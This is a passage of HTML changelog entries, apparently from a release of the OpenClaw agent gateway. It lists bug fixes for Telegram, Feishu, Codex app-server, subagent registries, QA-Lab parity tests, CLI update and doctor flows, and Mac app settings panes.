<li>Mac app: render channel quick config as aligned Settings rows and hide schema-only variants that cannot be edited safely from the quick pane.</li>
<li>Gateway/webchat: hide internal runtime-context and other <code>display: false</code> transcript messages from Chat history and live message events. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464459552" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83216" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83216/hovercard" href="https://github.com/openclaw/openclaw/issues/83216">#83216</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/EmpireCreator/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/EmpireCreator">@EmpireCreator</a>.</li>
<li>CLI/help: keep <code>gateway</code>, <code>doctor</code>, <code>status</code>, and <code>health</code> help registration out of action/runtime imports so subcommand <code>--help</code> stays lightweight in constrained terminals. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464522965" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83228" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83228/hovercard" href="https://github.com/openclaw/openclaw/issues/83228">#83228</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dfguerrerom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dfguerrerom">@dfguerrerom</a>.</li>
<li>Cron/Discord: keep explicit announce runs in message-tool-only source-reply mode so scheduled agent turns post once instead of also echoing through automatic visible replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464900333" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83261" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83261/hovercard" href="https://github.com/openclaw/openclaw/issues/83261">#83261</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Theralley/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Theralley">@Theralley</a>.</li>
<li>Telegram: preserve forum-topic origin targets in inbound, audio-preflight, and skipped-message hook contexts so follow-up delivery stays bound to the originating topic. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465183426" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83302" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83302/hovercard" href="https://github.com/openclaw/openclaw/issues/83302">#83302</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/M00zyx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/M00zyx">@M00zyx</a>.</li>
<li>Telegram: retry HTTP 421 Misdirected Request send failures on a fresh fallback transport so transient edge-node routing errors no longer drop outbound replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4087256219" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48892" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/48892/hovercard" href="https://github.com/openclaw/openclaw/issues/48892">#48892</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4087442780" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48908" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/48908/hovercard" href="https://github.com/openclaw/openclaw/pull/48908">#48908</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MarsDoge/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MarsDoge">@MarsDoge</a>.</li>
<li>Telegram: fail topic sends closed when Telegram reports <code>message thread not found</code> instead of retrying without <code>message_thread_id</code> into the base chat. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465183426" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83302" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83302/hovercard" href="https://github.com/openclaw/openclaw/issues/83302">#83302</a>.</li>
<li>Config/subagents: remove ignored agent-model <code>timeoutMs</code> keys, keep subagent model config to primary/fallback selection, and clean shipped stale config through doctor. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465090121" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83291" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83291/hovercard" href="https://github.com/openclaw/openclaw/issues/83291">#83291</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a>.</li>
<li>Mac app: align the Sessions settings pane with the standard Settings page gutter and row spacing.</li>
<li>OpenAI/Codex: stop rejecting available <code>openai-codex</code> GPT-5.1, GPT-5.2, and GPT-5.3 model refs during config validation, while keeping removed Spark aliases suppressed. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465210488" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83303" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83303/hovercard" href="https://github.com/openclaw/openclaw/issues/83303">#83303</a>.</li>
<li>Plugins/xAI: complete OAuth-backed xAI login and sidecar auth fixes, including guarded loopback callback CORS handling, video generation polling/defaults, and native-host User-Agent attribution. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465339811" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83322" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83322/hovercard" href="https://github.com/openclaw/openclaw/pull/83322">#83322</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jaaneek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jaaneek">@Jaaneek</a>.</li>
<li>Codex app-server: preserve streamed native command output in mirrored transcripts and trajectory exports when final snapshots omit aggregated output. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464273690" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83200" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83200/hovercard" href="https://github.com/openclaw/openclaw/pull/83200">#83200</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rozmiarD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rozmiarD">@rozmiarD</a>.</li>
<li>Codex app-server: fail closed when chat or sender policy denies tools, disabling native code, app, environment, and user MCP surfaces for restricted turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4457945251" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82374" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82374/hovercard" href="https://github.com/openclaw/openclaw/pull/82374">#82374</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>.</li>
<li>Codex app-server: keep recent context-engine messages when oversized projected history is truncated, so short follow-ups in long channel sessions do not fall back to stale earlier turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463799694" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83127" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83127/hovercard" href="https://github.com/openclaw/openclaw/pull/83127">#83127</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>.</li>
<li>Codex app-server: keep OpenClaw session spawning searchable while steering Codex-native delegation through native subagents, avoiding duplicate direct subagent surfaces. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465370887" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83329" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83329/hovercard" href="https://github.com/openclaw/openclaw/pull/83329">#83329</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Codex app-server: recover stale childless Codex-native subagent task mirrors during maintenance and allow their registry rows to be cancelled without an OpenClaw child session. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4461986275" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82836" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82836/hovercard" href="https://github.com/openclaw/openclaw/pull/82836">#82836</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yshimadahrs-ship-it/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yshimadahrs-ship-it">@yshimadahrs-ship-it</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Feishu: return bound subagent delivery origins from session thread setup so Feishu subagent completions route back to the same DM or topic. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464179397" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83190" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83190/hovercard" href="https://github.com/openclaw/openclaw/pull/83190">#83190</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100menotu001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100menotu001">@100menotu001</a>.</li>
<li>CLI/update: tailor post-update Gateway recovery hints by platform, showing systemd, LaunchAgent, Scheduled Task, or generic service-manager guidance instead of macOS-only recovery text. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463495630" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83096" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83096/hovercard" href="https://github.com/openclaw/openclaw/pull/83096">#83096</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rubencu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rubencu">@rubencu</a>.</li>
<li>Plugins: apply a default 15-second timeout to legacy <code>before_agent_start</code> hooks so hung plugin handlers no longer block agent startup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4085154694" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48534" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/48534/hovercard" href="https://github.com/openclaw/openclaw/issues/48534">#48534</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463837368" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83136" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83136/hovercard" href="https://github.com/openclaw/openclaw/pull/83136">#83136</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/therahul-yo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/therahul-yo">@therahul-yo</a>.</li>
<li>Feishu: refresh inbound session delivery context for DM, group, and broadcast turns so later replies do not inherit stale WebChat routing. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4388788955" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78274" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/78274/hovercard" href="https://github.com/openclaw/openclaw/issues/78274">#78274</a>.</li>
<li>Agents/subagents: require the initial subagent registry save before reporting spawn accepted, returning a spawn error instead of losing an untracked run when the registry write fails. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463909257" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83146" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83146/hovercard" href="https://github.com/openclaw/openclaw/pull/83146">#83146</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yetval/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yetval">@yetval</a>.</li>
<li>QA-Lab/qa-channel: attach redacted agent tool-start traces to outbound <code>QaBusMessage</code> records so scenarios can assert actual tool use instead of relying only on reply text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4275248060" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67637" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67637/hovercard" href="https://github.com/openclaw/openclaw/issues/67637">#67637</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: fail live runtime parity reports when assistant-message usage is missing, preventing <code>0 vs 0</code> live token rows from being reported as passing proof. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416721771" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80411" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80411/hovercard" href="https://github.com/openclaw/openclaw/issues/80411">#80411</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add a runtime token-efficiency sidecar report that classifies Codex savings separately from regressions and fails only positive Codex-over-Pi live token deltas above threshold. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4430998561" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81093" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/81093/hovercard" href="https://github.com/openclaw/openclaw/issues/81093">#81093</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: fail Codex-backed OpenAI live runtime-pair runs before launching isolated workers when no portable Codex auth is available, while staging API-key fallbacks and configured Codex keys for isolated QA agents. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416721774" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80412" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80412/hovercard" href="https://github.com/openclaw/openclaw/issues/80412">#80412</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: refresh parity gates, mock frontier fixtures, model scenarios, and workflow artifact lanes to compare GPT-5.5 against Claude Opus 4.7. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349437446" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74262" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74262/hovercard" href="https://github.com/openclaw/openclaw/issues/74262">#74262</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: make mock parity dispatch provider-aware for source discovery and subagent scenarios so OpenAI and Anthropic lanes no longer share identical canned plans. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4245036106" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64879" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64879/hovercard" href="https://github.com/openclaw/openclaw/issues/64879">#64879</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: stop returning Control UI bearer tokens from unauthenticated bootstrap payloads and bind Docker harness ports to loopback-only host addresses. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4259596226" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66355" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/66355/hovercard" href="https://github.com/openclaw/openclaw/pull/66355">#66355</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Mac app: avoid a SwiftUI metadata crash when rendering the Cron Jobs settings pane.</li>
<li>Agents/subagents: preserve run-mode keep subagent registry entries past the session sweep TTL, so kept subagent runs remain visible after cleanup completes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463823834" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83132" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83132/hovercard" href="https://github.com/openclaw/openclaw/issues/83132">#83132</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464018781" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83168" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83168/hovercard" href="https://github.com/openclaw/openclaw/pull/83168">#83168</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yetval/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yetval">@yetval</a>.</li>
<li>Agents/OpenAI streams: yield via <code>setTimeout(0)</code> instead of <code>setImmediate</code> between bursty Responses chunks so abort timers can fire during the yield, keeping cancel-on-timeout responsive on hot streams. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4458742937" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82462" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82462/hovercard" href="https://github.com/openclaw/openclaw/issues/82462">#82462</a>.</li>
<li>Agents/Codex: keep legacy <code>oauthRef</code>-backed OAuth profiles usable while <code>openclaw doctor --fix</code> migrates them back to inline credentials, without creating new sidecar credentials. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465275872" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83312" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83312/hovercard" href="https://github.com/openclaw/openclaw/pull/83312">#83312</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Agents/Codex: load the selected provider owner alongside the Codex harness runtime so <code>openai-codex</code> models resolve when plugin allowlists scope runtime loading. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465725039" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83380" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83380/hovercard" href="https://github.com/openclaw/openclaw/issues/83380">#83380</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467452244" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83519" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83519/hovercard" href="https://github.com/openclaw/openclaw/pull/83519">#83519</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Telegram: fail stalled isolated-ingress handlers into tombstones and abort same-lane reply work before restarting, so later same-chat updates drain after a hung turn. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464995305" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83272" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83272/hovercard" href="https://github.com/openclaw/openclaw/issues/83272">#83272</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467244502" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83505" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83505/hovercard" href="https://github.com/openclaw/openclaw/pull/83505">#83505</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>CLI/config: send SecretRef diagnostics to stderr so JSON command stdout remains parseable.</li>
<li>CLI/doctor: seed Control UI allowed origins when migrating legacy non-loopback gateway bind host aliases like <code>0.0.0.0</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465089879" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83286" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83286/hovercard" href="https://github.com/openclaw/openclaw/issues/83286">#83286</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a>.</li>
<li>CLI/plugins: ship the bundled memory CLI as a package entry so package-installed <code>openclaw memory</code> commands register correctly.</li>
<li>CLI/update: defer doctor-time plugin package installs during package swaps and seed post-core repair from the updated install registry, preventing duplicate reinstall failures.</li>
<li>CLI/update: preserve old-parent-readable config metadata during legacy package handoffs, fall back only to official <code>@openclaw/*</code> npm plugin packages when ClawHub plugin artifacts are unavailable, and keep managed service package roots authoritative during updates.</li>
<li>Feishu: detect SecretRef top-level credentials as a configured default account instead of treating object-backed app secrets as missing.</li>
<li>Gateway/restart: keep ordinary unmanaged SIGUSR1/config restarts in-process instead of detach-spawning an orphaned child, preserving custom supervisor PID tracking while leaving update restarts on the fresh-process path. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4250873603" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65668" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65668/hovercard" href="https://github.com/openclaw/openclaw/issues/65668">#65668</a>.</li>
<li>CLI/completion: resolve concrete PowerShell profile paths and reload commands during setup and doctor completion installation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4066360712" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44296" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44296/hovercard" href="https://github.com/openclaw/openclaw/issues/44296">#44296</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463206646" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83059" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83059/hovercard" href="https://github.com/openclaw/openclaw/pull/83059">#83059</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yu-xin-c/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yu-xin-c">@yu-xin-c</a>.</li>
<li>Telegram: keep isolated long polling below the hard <code>getUpdates</code> request guard so idle bot accounts with high <code>timeoutSeconds</code> do not false-disconnect and restart-loop. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464939101" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83264" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83264/hovercard" href="https://github.com/openclaw/openclaw/issues/83264">#83264</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/riccodecarvalho/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/riccodecarvalho">@riccodecarvalho</a>.</li>
<li>Providers/Google: preserve and recover Gemini 3 tool-call thought signatures during native replay so function-calling turns no longer fail with missing <code>thought_signature</code> 400s. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4336919838" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72879" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72879/hovercard" href="https://github.com/openclaw/openclaw/issues/72879">#72879</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416318334" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80358" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80358/hovercard" href="https://github.com/openclaw/openclaw/pull/80358">#80358</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abnershang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abnershang">@abnershang</a>.</li>
<li>Telegram: skip transcript-only delivery mirrors and gateway-injected rows when resolving latest assistant text, preventing retained previews from replacing final replies with stale fragments. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463981517" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83159" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83159/hovercard" href="https://github.com/openclaw/openclaw/issues/83159">#83159</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465564203" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83362" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83362/hovercard" href="https://github.com/openclaw/openclaw/pull/83362">#83362</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Memory/QMD: keep lexical search on raw hyphenated queries while normalizing semantic QMD sub-searches, avoiding fallback to the builtin index for dashed identifiers and dates. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4435810897" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81328" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/81328/hovercard" href="https://github.com/openclaw/openclaw/issues/81328">#81328</a>.</li>
<li>Memory-core: distinguish sqlite-vec load failures from missing semantic vector embeddings in degraded <code>memory index</code> warnings, so vector recall diagnostics point at unresolved dimensions instead of blaming sqlite-vec when the store is ready. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4364260496" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75624" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75624/hovercard" href="https://github.com/openclaw/openclaw/issues/75624">#75624</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463181130" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83056" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83056/hovercard" href="https://github.com/openclaw/openclaw/pull/83056">#83056</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xuruiray/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xuruiray">@xuruiray</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Noah3521/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Noah3521">@Noah3521</a>.</li>
<li>Agents/subagents: preserve sandbox-peer controller ownership while routing completion announcements back to the originating run session, keeping subagent control and completion delivery scoped correctly. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415216120" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80201" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80201/hovercard" href="https://github.com/openclaw/openclaw/issues/80201">#80201</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415551739" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80242" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80242/hovercard" href="https://github.com/openclaw/openclaw/pull/80242">#80242</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jerry-Xin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jerry-Xin">@Jerry-Xin</a>.</li>
